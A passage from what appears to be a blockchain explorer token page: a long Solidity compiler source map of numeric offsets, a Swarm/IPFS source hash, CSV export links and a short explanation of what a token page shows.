13964:18;;;13957:62;-1:-1:-1;;;14035:18:1;;;14028:38;14083:19;;37013:66:0;13704:404:1;37013:66:0;-1:-1:-1;;;;;37431:16:0;;;;;;:12;:16;;;;;;;;:45;;-1:-1:-1;;;;;;;;;37431:45:0;;-1:-1:-1;;;;;37431:45:0;;;;;;;;;;37491:50;;;;;;;;;;;;;;37558:25;;;:11;:25;;;;;:35;;-1:-1:-1;;;;;;37608:66:0;;;;-1:-1:-1;;;37658:15:0;37608:66;;;;;;;37558:25;;37743:415;37763:8;37759:1;:12;37743:415;;;37802:38;;37827:12;;-1:-1:-1;;;;;37802:38:0;;;37819:1;;37802:38;;37819:1;;37802:38;37863:4;37859:249;;;37926:59;37957:1;37961:2;37965:12;37979:5;37926:22;:59::i;:::-;37892:196;;;;-1:-1:-1;;;37892:196:0;;;;;;;:::i;:::-;38128:14;;;;;37773:3;37743:415;;;-1:-1:-1;38174:12:0;:27;38225:60;35137:355;-1:-1:-1;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14:631:1;78:5;108:18;149:2;141:6;138:14;135:40;;;155:18;;:::i;:::-;230:2;224:9;198:2;284:15;;-1:-1:-1;;280:24:1;;;306:2;276:33;272:42;260:55;;;330:18;;;350:22;;;327:46;324:72;;;376:18;;:::i;:::-;416:10;412:2;405:22;445:6;436:15;;475:6;467;460:22;515:3;506:6;501:3;497:16;494:25;491:45;;;532:1;529;522:12;491:45;582:6;577:3;570:4;562:6;558:17;545:44;637:1;630:4;621:6;613;609:19;605:30;598:41;;;;14:631;;;;;:::o;650:173::-;718:20;;-1:-1:-1;;;;;767:31:1;;757:42;;747:70;;813:1;810;803:12;747:70;650:173;;;:::o;828:186::-;887:6;940:2;928:9;919:7;915:23;911:32;908:52;;;956:1;953;946:12;908:52;979:29;998:9;979:29;:::i;1019:260::-;1087:6;1095;1148:2;1136:9;1127:7;1123:23;1119:32;1116:52;;;1164:1;1161;1154:12;1116:52;1187:29;1206:9;1187:29;:::i;:::-;1177:39;;1235:38;1269:2;1258:9;1254:18;1235:38;:::i;:::-;1225:48;;1019:260;;;;;:::o;1284:328::-;1361:6;1369;1377;1430:2;1418:9;1409:7;1405:23;1401:32;1398:52;;;1446:1;1443;1436:12;1398:52;1469:29;1488:9;1469:29;:::i;:::-;1459:39;;1517:38;1551:2;1540:9;1536:18;1517:38;:::i;:::-;1507:48;;1602:2;1591:9;1587:18;1574:32;1564:42;;1284:328;;;;;:::o;1617:666::-;1712:6;1720;1728;1736;1789:3;1777:9;1768:7;1764:23;1760:33;1757:53;;;1806:1;1803;1796:12;1757:53;1829:29;1848:9;1829:29;:::i;:::-;1819:39;;1877:38;1911:2;1900:9;1896:18;1877:38;:::i;:::-;1867:48;;1962:2;1951:9;1947:18;1934:32;1924:42;;2017:2;2006:9;2002:18;1989:32;2044:18;2036:6;2033:30;2030:50;;;2076:1;2073;2066:12;2030:50;2099:22;;2152:4;2144:13;;2140:27;-1:-1:-1;2130:55:1;;2181:1;2178;2171:12;2130:55;2204:73;2269:7;2264:2;2251:16;2246:2;2242;2238:11;2204:73;:::i;:::-;2194:83;;;1617:666;;;;;;;:::o;2288:347::-;2353:6;2361;2414:2;2402:9;2393:7;2389:23;2385:32;2382:52;;;2430:1;2427;2420:12;2382:52;2453:29;2472:9;2453:29;:::i;:::-;2443:39;;2532:2;2521:9;2517:18;2504:32;2579:5;2572:13;2565:21;2558:5;2555:32;2545:60;;2601:1;2598;2591:12;2545:60;2624:5;2614:15;;;2288:347;;;;;:::o;2640:254::-;2708:6;2716;2769:2;2757:9;2748:7;2744:23;2740:32;2737:52;;;2785:1;2782;2775:12;2737:52;2808:29;2827:9;2808:29;:::i;:::-;2798:39;2884:2;2869:18;;;;2856:32;;-1:-1:-1;;;2640:254:1:o;2899:245::-;2957:6;3010:2;2998:9;2989:7;2985:23;2981:32;2978:52;;;3026:1;3023;3016:12;2978:52;3065:9;3052:23;3084:30;3108:5;3084:30;:::i;3149:249::-;3218:6;3271:2;3259:9;3250:7;3246:23;3242:32;3239:52;;;3287:1;3284;3277:12;3239:52;3319:9;3313:16;3338:30;3362:5;3338:30;:::i;3403:450::-;3472:6;3525:2;3513:9;3504:7;3500:23;3496:32;3493:52;;;3541:1;3538;3531:12;3493:52;3581:9;3568:23;3614:18;3606:6;3603:30;3600:50;;;3646:1;3643;3636:12;3600:50;3669:22;;3722:4;3714:13;;3710:27;-1:-1:-1;3700:55:1;;3751:1;3748;3741:12;3700:55;3774:73;3839:7;3834:2;3821:16;3816:2;3812;3808:11;3774:73;:::i;3858:180::-;3917:6;3970:2;3958:9;3949:7;3945:23;3941:32;3938:52;;;3986:1;3983;3976:12;3938:52;-1:-1:-1;4009:23:1;;3858:180;-1:-1:-1;3858:180:1:o;4043:257::-;4084:3;4122:5;4116:12;4149:6;4144:3;4137:19;4165:63;4221:6;4214:4;4209:3;4205:14;4198:4;4191:5;4187:16;4165:63;:::i;:::-;4282:2;4261:15;-1:-1:-1;;4257:29:1;4248:39;;;;4289:4;4244:50;;4043:257;-1:-1:-1;;4043:257:1:o;4305:637::-;4585:3;4623:6;4617:13;4639:53;4685:6;4680:3;4673:4;4665:6;4661:17;4639:53;:::i;:::-;4755:13;;4714:16;;;;4777:57;4755:13;4714:16;4811:4;4799:17;;4777:57;:::i;:::-;-1:-1:-1;;;4856:20:1;;4885:22;;;4934:1;4923:13;;4305:637;-1:-1:-1;;;;4305:637:1:o;5365:488::-;-1:-1:-1;;;;;5634:15:1;;;5616:34;;5686:15;;5681:2;5666:18;;5659:43;5733:2;5718:18;;5711:34;;;5781:3;5776:2;5761:18;;5754:31;;;5559:4;;5802:45;;5827:19;;5819:6;5802:45;:::i;:::-;5794:53;5365:488;-1:-1:-1;;;;;;5365:488:1:o;6050:219::-;6199:2;6188:9;6181:21;6162:4;6219:44;6259:2;6248:9;6244:18;6236:6;6219:44;:::i;10225:356::-;10427:2;10409:21;;;10446:18;;;10439:30;10505:34;10500:2;10485:18;;10478:62;10572:2;10557:18;;10225:356::o;12882:415::-;13084:2;13066:21;;;13123:2;13103:18;;;13096:30;13162:34;13157:2;13142:18;;13135:62;-1:-1:-1;;;13228:2:1;13213:18;;13206:49;13287:3;13272:19;;12882:415::o;16248:128::-;16288:3;16319:1;16315:6;16312:1;16309:13;16306:39;;;16325:18;;:::i;:::-;-1:-1:-1;16361:9:1;;16248:128::o;16381:120::-;16421:1;16447;16437:35;;16452:18;;:::i;:::-;-1:-1:-1;16486:9:1;;16381:120::o;16506:168::-;16546:7;16612:1;16608;16604:6;16600:14;16597:1;16594:21;16589:1;16582:9;16575:17;16571:45;16568:71;;;16619:18;;:::i;:::-;-1:-1:-1;16659:9:1;;16506:168::o;16679:125::-;16719:4;16747:1;16744;16741:8;16738:34;;;16752:18;;:::i;:::-;-1:-1:-1;16789:9:1;;16679:125::o;16809:258::-;16881:1;16891:113;16905:6;16902:1;16899:13;16891:113;;;16981:11;;;16975:18;16962:11;;;16955:39;16927:2;16920:10;16891:113;;;17022:6;17019:1;17016:13;17013:48;;;-1:-1:-1;;17057:1:1;17039:16;;17032:27;16809:258::o;17072:380::-;17151:1;17147:12;;;;17194;;;17215:61;;17269:4;17261:6;17257:17;17247:27;;17215:61;17322:2;17314:6;17311:14;17291:18;17288:38;17285:161;;;17368:10;17363:3;17359:20;17356:1;17349:31;17403:4;17400:1;17393:15;17431:4;17428:1;17421:15;17285:161;;17072:380;;;:::o;17457:135::-;17496:3;-1:-1:-1;;17517:17:1;;17514:43;;;17537:18;;:::i;:::-;-1:-1:-1;17584:1:1;17573:13;;17457:135::o;17597:112::-;17629:1;17655;17645:35;;17660:18;;:::i;:::-;-1:-1:-1;17694:9:1;;17597:112::o;17714:127::-;17775:10;17770:3;17766:20;17763:1;17756:31;17806:4;17803:1;17796:15;17830:4;17827:1;17820:15;17846:127;17907:10;17902:3;17898:20;17895:1;17888:31;17938:4;17935:1;17928:15;17962:4;17959:1;17952:15;17978:127;18039:10;18034:3;18030:20;18027:1;18020:31;18070:4;18067:1;18060:15;18094:4;18091:1;18084:15;18110:127;18171:10;18166:3;18162:20;18159:1;18152:31;18202:4;18199:1;18192:15;18226:4;18223:1;18216:15;18242:131;-1:-1:-1;;;;;;18316:32:1;;18306:43;;18296:71;;18363:1;18360;18353:12
Swarm Source
ipfs://6b6c4db67b4b53441c4305e148588227b1a305c7ae42e69b1c5926aeb2a5ad63
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.